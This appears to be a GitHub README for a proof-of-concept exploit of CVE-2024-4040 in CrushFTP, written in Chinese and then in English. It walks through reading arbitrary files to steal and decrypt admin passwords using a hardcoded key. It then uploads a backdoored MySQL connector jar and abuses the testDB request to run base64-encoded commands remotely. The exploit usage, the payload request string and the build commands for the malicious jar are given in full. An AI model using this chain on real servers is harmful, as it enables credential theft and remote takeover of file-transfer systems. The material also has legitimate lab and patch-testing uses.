/CVE-2024-4040

CVE-2024-4040 PoC

Primary LanguageJava

CVE-2024-4040

前言

靶機

docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

攻擊流程

取得密碼

  • 透過 exploit.py 以及 decrypt.java 取得密碼並且解密,至於原因簡單來說 key 是寫死的,所以可以解開加上可以任意讀檔
  • 這邊要注意,如果 default admin 也就是 crushadmin 不存在的話,可以嘗試抓 CrushFTP.log,裡面有帳號資訊可以參考
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • 邏輯上是先檢查目標有沒有漏洞,用的是四個預設會存在的帳號並且嘗試取得 user.XML 檔案
  • 確定有漏洞之後會去取得使用者指定的帳號,如果沒有的話預設會帶入 crushadmin 這個預設存在的 admin account
  • 取得到密碼之後會用 decrypt.java 去解開密碼
  • --shell 功能是方便看 RCE 過後的結果,透過下面的方式上傳 jar 檔案之後可以指定 --jar-path 以及 --headers 就可以看到執行命令的結果
    • 要注意的是 --headers 中一定要給登入後的 Cookie,例如 --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path 預設會是 /tmp/mysql_cmd_db_user_final_with_echo_base64.jar 如果是不一樣的位置記得要指定路徑,理論上相對路徑也可以但建議使用絕對路徑
    • 要退出打 exit 就可以退出了
    • 範例指令 python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

登入調整映射以及權限

  • 登入後訪問 admin
  • 找到 User Manager 之後點擊左邊的使用者,可以拖曳自己想要映射的 folder 到 User's Stuff 那邊,最後調整權限,upload 一定要勾

上傳惡意 jar 檔案

  • 上傳惡意 jar 檔案,已經編好兩個,一個是 jdk 16 另外一個是 13 的,要看 server 吃的 java 版本是什麼
  • 回到 files 點選 upload 之後上傳惡意 jar 檔案

RCE

  • RCE 的原因簡單來說是有一個 testDB 的功能可以自己指定 jar file 以及 driver object,加上可以上傳,把這兩個串起來就可以 RCE 了
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • 圖片中的指令為 id
    • 在參數 db_user 傳入 base64 encode 過後的 command 就可以執行了
  • 我個人所改的 mysql connector 是 5.0.4 版本的
  • 如果編譯好的兩個版本都不能用的話,我有提供我修改過後的版本,可以依照下面的指令重新編譯
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *

CVE-2024-4040

Introduction

Target Machine

docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp

Attack Process

Obtaining Password

  • Use exploit.py and decrypt.java to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files.
  • Note that if the default admin, crushadmin, does not exist, you can try grabbing CrushFTP.log for account information.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • The logic first checks if the target is vulnerable using four default accounts and attempts to retrieve the user.XML file.
  • If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the crushadmin admin account.
  • After obtaining the password, it uses decrypt.java to decrypt the password.
  • --shell feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify --jar-path and --headers to see the execution command's result:
    • Note that --headers must include the logged-in Cookie, for example, --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path defaults to /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.
    • To exit, type exit.
    • Example command: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

Login to Adjust Mapping and Permissions

  • Login and visit the admin panel.
  • After finding User Manager, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.

Upload Malicious JAR File

  • Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server's Java version.
  • Go back to the files section, click upload, and upload the malicious JAR file.

RCE

  • The reason for RCE is that there is a testDB function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • The command in the image is id.
    • Pass the base64 encoded command in the db_user parameter to execute it.
  • I personally modified the MySQL connector version 5.0.4.
  • If the two compiled versions don't work, I provide my modified version, which can be recompiled with the following commands:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *